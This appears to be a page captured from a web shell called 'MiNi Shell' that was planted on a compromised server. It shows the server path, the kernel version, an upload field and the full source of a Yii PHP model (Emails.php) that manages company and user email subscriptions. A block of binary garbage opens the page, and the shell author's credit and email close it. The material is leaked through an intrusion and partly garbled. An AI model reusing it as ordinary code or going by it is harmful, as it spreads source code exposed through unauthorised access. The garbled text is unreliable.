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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/models/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/common/models/Emails.php

<?php

namespace common\models;

use Yii;
use yii\mongodb\ActiveRecord;
use common\models\types\ContactDataType;
use yii\web\NotFoundHttpException;

/**
 * This is the model class for collection "emails".
 *
 * @property \MongoDB\BSON\ObjectId $_id
 * @property string $email
 * @property string $label
 * @property integer $or_mailings
 * @property integer $or_inquiries
 * @property integer $or_contact_person
 * @property integer $or_newsletter
 * @property integer $or_ads
 * @property integer $or_trainings
 * @property integer $or_bookstore
 * @property integer $id_user
 * @property integer $id_company
 * @property array $ids_regions
 * @property array $ids_categories
 * @property array $portals
 * @property \MongoDB\BSON\UTCDateTime $created_at
 * @property \MongoDB\BSON\UTCDateTime $updated_at
 */
class Emails extends ActiveRecord
{   
    
    public static $purposesFields = ['or_mailings', 'or_inquiries', 'or_contact_person', 'or_newsletter', 'or_ads', 'or_trainings', 'or_bookstore'];
    
    /**
     * @inheritdoc
     */
    public static function collectionName() 
    {
        return 'emails';
    }
    
    /**
     * @inheritdoc
     */
    public function attributes() 
    {
        return [
            '_id', 'email', 'label', 'or_mailings', 'or_inquiries', 'or_contact_person', 'or_newsletter', 'or_ads', 'or_trainings', 
            'or_bookstore', 'id_user', 'id_company', 'ids_regions', 'ids_categories', 'portals', 'updated_at', 'created_at'
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            '_id' => Yii::t('common-models', 'ID'),
            'email' => Yii::t('common-models', 'E-mail'),
            'label' => Yii::t('common-models', 'Etykieta'),
            'or_mailings' => Yii::t('common-models', 'Mailingi'),
            'or_inquiries' => Yii::t('common-models', 'Zapytania'),
            'or_contact_person' => Yii::t('common-models', 'Osoba do kontaktu'),
            'or_newsletter' => Yii::t('common-models', 'Newsletter'),
            'or_ads' => Yii::t('common-models', 'Reklamy'),
            'or_trainings' => Yii::t('common-models', 'Szkolenia'),
            'or_bookstore' => Yii::t('common-models', 'Księgarnia'),
            'id_user' => Yii::t('common-models', 'ID użytkownika'),
            'id_company' => Yii::t('common-models', 'ID firmy'),
            'ids_regions' => Yii::t('common-models', 'ID regionów'),
            'ids_categories' => Yii::t('common-models', 'ID kategorii'),
            'portals' => Yii::t('common-models', 'Portale'),
            'created_at' => Yii::t('common-models', 'Data utworzenia'),
            'updated_at' => Yii::t('common-models', 'Data aktualizacji'),
        ];
    }
    
    public static function refreshForCompany($company)
    {
        $modelCompany = null;
        if($company instanceof Companies) {
            $modelCompany = $company;
        }
        elseif(is_numeric($company)) {
            $modelCompany = Companies::findOne(intval($company));
        }
        
        if($modelCompany === null) {
            throw new NotFoundHttpException('Not found selected company.');
        }
        
        $actualTimestamp = time();
        $emails = $idsCategories = $idsRegions = $portals = [];
        $existsEmails = self::find()->where(['id_company' => $modelCompany->id_company])->all();

        //jeśli firma bądź jej właściciel (użytkownik) ma status wyłączony, to nic nie dodajemy, a jedynie usuwamy obecne wpisy
        if($modelCompany->status !== \common\models\types\Status::ACTIVE || $modelCompany->user->status !== \common\models\types\Status::ACTIVE) {
            if(!empty($existsEmails)) {
                foreach($existsEmails as $key => $existEmail) {
                    $existEmail->delete();
                }
            }
            return;
        }
        
        $modelsCompanyPresentations = $modelCompany->getPresentations()
                ->with([
                    'relationsWithCategories' => function($q) {
                        $q->indexBy('id_category');
                    },
                    'relationsWithRegions' => function($q) {
                        $q->indexBy('id_region');
                    }
                ])
                ->where([
                    'status' => \common\models\types\Status::ACTIVE //@todo rozważyć, czy należy uwzględniać jedynie aktywne prezentacje
                ])
                ->all();
        
        if(!empty($modelsCompanyPresentations)) {
            $customPortalsPriorities = $modelCompany->getSettingsKey('portals_priorities');
            if(!empty($customPortalsPriorities)) {
                foreach($customPortalsPriorities as $idPortal) {
                    foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                        if($idPortal === $modelCompanyPresentation->id_portal) {
                            $portals[] = [
                                'id' => $modelCompanyPresentation->id_portal,
                                'package' => $modelCompanyPresentation->id_package
                            ];
                            $idsCategories = array_unique(array_merge($idsCategories, array_keys($modelCompanyPresentation->relationsWithCategories)));
                            $idsRegions = array_unique(array_merge($idsRegions, array_keys($modelCompanyPresentation->relationsWithRegions)));
                            break;
                        }
                    }
                }
            } else {
                foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                    $portals[] = [
                        'id' => $modelCompanyPresentation->id_portal,
                        'package' => $modelCompanyPresentation->id_package
                    ];
                    $idsCategories = array_unique(array_merge($idsCategories, array_keys($modelCompanyPresentation->relationsWithCategories)));
                    $idsRegions = array_unique(array_merge($idsRegions, array_keys($modelCompanyPresentation->relationsWithRegions)));
                }
            }
            
//            foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
//                $portals[] = [
//                    'id' => $modelCompanyPresentation->id_portal,
//                    'package' => $modelCompanyPresentation->id_package
//                ];
//                $idsCategories = array_unique(array_merge($idsCategories, array_keys($modelCompanyPresentation->relationsWithCategories)));
//                $idsRegions = array_unique(array_merge($idsRegions, array_keys($modelCompanyPresentation->relationsWithRegions)));
//            }
        }
        
        $idsRegionsFromCompaniesHasRegions = $modelCompany->getRelationsWithSalesRegions()->select(['id_region'])->column();
        if(!empty($idsRegionsFromCompaniesHasRegions)) {
            $idsRegions = array_unique(array_merge($idsRegions, $idsRegionsFromCompaniesHasRegions));
        }
        
//        $idsPortals = [1]; //@todo proteza
//        $idsRegions = [1, 2, 3, 4]; //@todo proteza
//        $idsCategories = [726]; //@todo proteza
        
        $emailsFromCompanyContactData = CompaniesContactData::find()
                ->select(['data_value', 'settings'])
                ->where([
                    'id_company' => $modelCompany->id_company, 
                    'data_type' => ContactDataType::EMAIL
                ])
                ->asArray()
                ->all();
                
        $emailsFromCompanyBranchesContactData = CompaniesBranchesContactData::find()
                ->select(['companies_branches_contact_data.data_value', 'companies_branches_contact_data.settings'])
                ->join('INNER JOIN', 'companies_branches', 'companies_branches.id_branch = companies_branches_contact_data.id_branch')
                ->where([
                    'companies_branches.id_company' => $modelCompany->id_company, 
                    'companies_branches_contact_data.data_type' => ContactDataType::EMAIL
                ])
                ->asArray()
                ->all();
        
        $emailsFromCompanyDepartmentsContactData = CompaniesDepartmentsContactData::find()
                ->select(['companies_departments_contact_data.data_value', 'companies_departments_contact_data.settings'])
                ->join('INNER JOIN', 'companies_departments', 'companies_departments.id_department = companies_departments_contact_data.id_department')
                ->where([
                    'companies_departments.id_company' => $modelCompany->id_company, 
                    'companies_departments_contact_data.data_type' => ContactDataType::EMAIL
                ])
                ->asArray()
                ->all();
        
        $emailsFromCompanyEmployeesContactData = CompaniesEmployeesContactData::find()
                ->select(['companies_employees_contact_data.data_value', 'companies_employees_contact_data.settings'])
                ->join('INNER JOIN', 'companies_employees', 'companies_employees.id_employee = companies_employees_contact_data.id_employee')
                ->where([
                    'companies_employees.id_company' => $modelCompany->id_company, 
                    'companies_employees_contact_data.data_type' => ContactDataType::EMAIL
                ])
                ->asArray()
                ->all();
        
        $emailsFromCompany = array_merge($emailsFromCompanyContactData, $emailsFromCompanyBranchesContactData, $emailsFromCompanyDepartmentsContactData, $emailsFromCompanyEmployeesContactData);
        
        if(!empty($emailsFromCompany)) {
            foreach($emailsFromCompany as $emailFromCompany) {
                $settings = json_decode($emailFromCompany['settings'], true);
                $purposes = $settings['purposes'];
                
//                $purposes = [
//                    'or_mailings' => 1,
//                    'or_inquiries' => 1,
//                    'or_contact_person' => 0,
//                    'or_newsletter' => 0,
//                    'or_ads' => 0,
//                    'or_trainings' => 0,
//                    'or_bookstore' => 0
//                ];
                
                $email = $emailFromCompany['data_value'];
                
                if(!isset($emails[$email])) {
                    $emails[$email] = [
                        'email' => trim($email),
                        'label' => $modelCompany->name,
//                        'or_mailings' => empty($purposes['or_mailings']) ? 0 : 1,
//                        'or_inquiries' => empty($purposes['or_inquiries']) ? 0 : 1,
//                        'or_contact_person' => empty($purposes['or_contact_person']) ? 0 : 1,
//                        'or_newsletter' => empty($purposes['or_newsletter']) ? 0 : 1,
//                        'or_ads' => empty($purposes['or_ads']) ? 0 : 1,
//                        'or_trainings' => empty($purposes['or_trainings']) ? 0 : 1,
//                        'or_bookstore' => empty($purposes['or_bookstore']) ? 0 : 1
                    ];
                    foreach(self::$purposesFields as $purposeField) {
                        $emails[$email][$purposeField] = empty($purposes[$purposeField]) ? 0 : 1;
                    }
                } else {
                    foreach(self::$purposesFields as $purposeField) {
                        if($purposes[$purposeField]) {
                            $emails[$email][$purposeField] = 1;
                        }
                    }                     
                }
            }
        }
        
        if(!empty($existsEmails)) {
            foreach($existsEmails as $key1 => $existEmail) {
                if(isset($emails[$existEmail->email])) {
                    $email = $existEmail->email;                    
                    foreach($emails[$existEmail->email] as $key2 => $value) {
                        $existEmail->$key2 = $value;
                    }
                    $existEmail->portals = $portals;
                    $existEmail->ids_categories = $idsCategories;
                    $existEmail->ids_regions = $idsRegions;
                    $existEmail->updated_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                    $existEmail->save();
                    
                    unset($existsEmails[$key1]);
                    unset($emails[$email]);
                }                
            }
            if(!empty($existsEmails)) {
                foreach($existsEmails as $key => $existEmail) {
                    $existEmail->delete();
                }
            }
        }
        
        if(!empty($emails)) {
            foreach($emails as $email => $emailData) {
                $newEmail = new self;
                foreach($emailData as $key => $value) {
                    $newEmail->$key = $value;
                }
                $newEmail->id_user = $modelCompany->id_user;
                $newEmail->id_company = $modelCompany->id_company;
                $newEmail->portals = $portals;
                $newEmail->ids_categories = $idsCategories;
                $newEmail->ids_regions = $idsRegions;
                $newEmail->created_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                $newEmail->updated_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                $newEmail->save();
            }
        }
    }
    
    public static function refreshForUser($user)
    {
        $modelUser = null;
        if($user instanceof Users) {
            $modelUser = $user;
        }
        elseif(is_numeric($user)) {
            $modelUser = Users::findOne(intval($user));
        }
        
        if($modelUser === null) {
//            var_dump($user); exit;
            throw new NotFoundHttpException('Not found selected user.');
        }
        
        $actualTimestamp = time();
        $emails = $idsRegions = $portals = [];
        $existsEmails = self::find()->where(['id_user' => $modelUser->id_user, 'id_company' => null])->all();

        //jeśli użytkownik ma status wyłączonego, to nic nie dodajemy, a jedynie usuwamy obecne wpisy
        if($modelUser->status !== \common\models\types\Status::ACTIVE) {
            if(!empty($existsEmails)) {
                foreach($existsEmails as $key => $existEmail) {
                    $existEmail->delete();
                }
            }
            return;
        }
        
        $presentations = CompaniesPresentations::find() 
                ->join('INNER JOIN', 'companies', 'companies.id_company = companies_presentations.id_company AND companies.id_user = '.$modelUser->id_user)
                ->select(['id_portal', 'id_package'])
                ->where([
                    'companies_presentations.status' => \common\models\types\Status::ACTIVE //@todo rozważyć, czy należy uwzględniać jedynie aktywne prezentacje
                ])
                ->asArray()
                ->all();
        if(!empty($presentations)) {
            foreach($presentations as $presentation) {
                $portals[$presentation['id_portal']] = [
                    'id' => $presentation['id_portal'],
                    'package' => $presentation['id_package']
                ];
            }
        }        
        $activityOnPortals = $modelUser->getRelationsWithPortals()->asArray()->all();
        if(!empty($activityOnPortals)) {
            foreach($activityOnPortals as $activityOnPortal) {
                $idPortal = $activityOnPortal['id_portal'];
                
                if(!isset($portals[$idPortal]) && $activityOnPortal['status'] === \common\models\types\Status::ACTIVE) {
                    $portals[$idPortal] = [
                        'id' => $idPortal,
                        'package' => null
                    ];
                } elseif(isset($portals[$idPortal]) && $activityOnPortal['status'] !== \common\models\types\Status::ACTIVE) {
                    unset($portals[$idPortal]);
                }
            }
        }        
        
        $customPortalsPriorities = $modelUser->getSettingsKey('portals_priorities');
        if(!empty($customPortalsPriorities)) {
            $portalsTemp = $portals;
            $portals = [];
            foreach($customPortalsPriorities as $idPortal) {
                foreach($portalsTemp as $key => $value) {
                    if($key === $idPortal) {
                        $portals[$key] = $value;
                        unset($portalsTemp[$key]);
                        break;
                    }
                }
            }
            if(!empty($portalsTemp)) {
                foreach($portalsTemp as $key => $value) {
                    $portals[$key] = $value;
                    unset($portalsTemp[$key]);
                }
            }
        }
        
        $portals = array_values($portals);
        
        $addresses = $modelUser->getAddresses()->select(['region', 'id_country'])->asArray()->all();
        if(!empty($addresses)) {
            $processedRegions = [];
            foreach($addresses as $address) {
                if(!isset($processedRegions[$address['id_country'].'_'.$address['region']])) {
                    $processedRegions[$address['id_country'].'_'.$address['region']] = true;
                    $idRegion = Regions::find()->select(['id_region'])->where(['name' => $address['region'], 'id_country' => $address['id_country']])->scalar();
                    if(!in_array($idRegion, $idsRegions)) {
                        $idsRegions[] = $idRegion;
                    }
                }
            }
        }
        
        $emailsItems = UsersContactData::find()
                ->select(['data_value', 'settings'])
                ->where([
                    'id_user' => $modelUser->id_user, 
                    'data_type' => ContactDataType::EMAIL
                ])
                ->asArray()
                ->all();
        
        if(!empty($emailsItems)) {
            foreach($emailsItems as $emailItem) {
                $settings = json_decode($emailItem['settings'], true);
                $purposes = $settings['purposes'];
                
                $email = $emailItem['data_value'];
                
                if(!isset($emails[$email])) {
                    $emails[$email] = [
                        'email' => trim($email),
                        'label' => $modelUser->forename.' '.$modelUser->surname,
//                        'or_mailings' => empty($purposes['or_mailings']) ? 0 : 1,
//                        'or_inquiries' => empty($purposes['or_inquiries']) ? 0 : 1,
//                        'or_contact_person' => empty($purposes['or_contact_person']) ? 0 : 1,
//                        'or_newsletter' => empty($purposes['or_newsletter']) ? 0 : 1,
//                        'or_ads' => empty($purposes['or_ads']) ? 0 : 1,
//                        'or_trainings' => empty($purposes['or_trainings']) ? 0 : 1,
//                        'or_bookstore' => empty($purposes['or_bookstore']) ? 0 : 1
                    ];
                    foreach(self::$purposesFields as $purposeField) {
                        $emails[$email][$purposeField] = empty($purposes[$purposeField]) ? 0 : 1;
                    }
                } else {
                    foreach(self::$purposesFields as $purposeField) {
                        if($purposes[$purposeField]) {
                            $emails[$email][$purposeField] = 1;
                        }
                    }                     
                }
            }
        }
        
        if(!empty($existsEmails)) {
            foreach($existsEmails as $key1 => $existEmail) {
                if(isset($emails[$existEmail->email])) {
                    $email = $existEmail->email;
                    foreach($emails[$existEmail->email] as $key2 => $value) {
                        $existEmail->$key2 = $value;
                    }
                    $existEmail->portals = $portals;
                    $existEmail->ids_categories = [];
                    $existEmail->ids_regions = $idsRegions;
                    $existEmail->updated_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                    $existEmail->save();
                    
                    unset($existsEmails[$key1]);
                    unset($emails[$email]);
                }                
            }
            if(!empty($existsEmails)) {
                foreach($existsEmails as $key => $existEmail) {
                    $existEmail->delete();
                }
            }
        }
        
        if(!empty($emails)) {
            foreach($emails as $email => $emailData) {
                $newEmail = new self;
                foreach($emailData as $key => $value) {
                    $newEmail->$key = $value;
                }
                $newEmail->id_user = $modelUser->id_user;
                $newEmail->id_company = null;
                $newEmail->portals = $portals;
                $newEmail->ids_categories = [];
                $newEmail->ids_regions = $idsRegions;
                $newEmail->created_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                $newEmail->updated_at = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                $newEmail->save();
            }
        }
    }
    
    public static function generateNewsletterUnsubscribeKey($email, $idPortal)
    {
        $output = $email.'_'.$idPortal;
        $encryptionEngine = new \common\components\EncriptionEngine(Yii::$app->params['newsletterUnsubscribeEncryptionKey'], Yii::$app->params['newsletterUnsubscribeInitializationVector']);

        return $encryptionEngine->encrypt($output);
    }
    
    public static function analyzeNewsletterUnsubscribeKey($key)
    {
        $encryptionEngine = new \common\components\EncriptionEngine(Yii::$app->params['newsletterUnsubscribeEncryptionKey'], Yii::$app->params['newsletterUnsubscribeInitializationVector']);
        $output = $encryptionEngine->decrypt($key);
        
        $output = explode('_', $output);
        
        return [$output[0], (int)$output[1]];
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com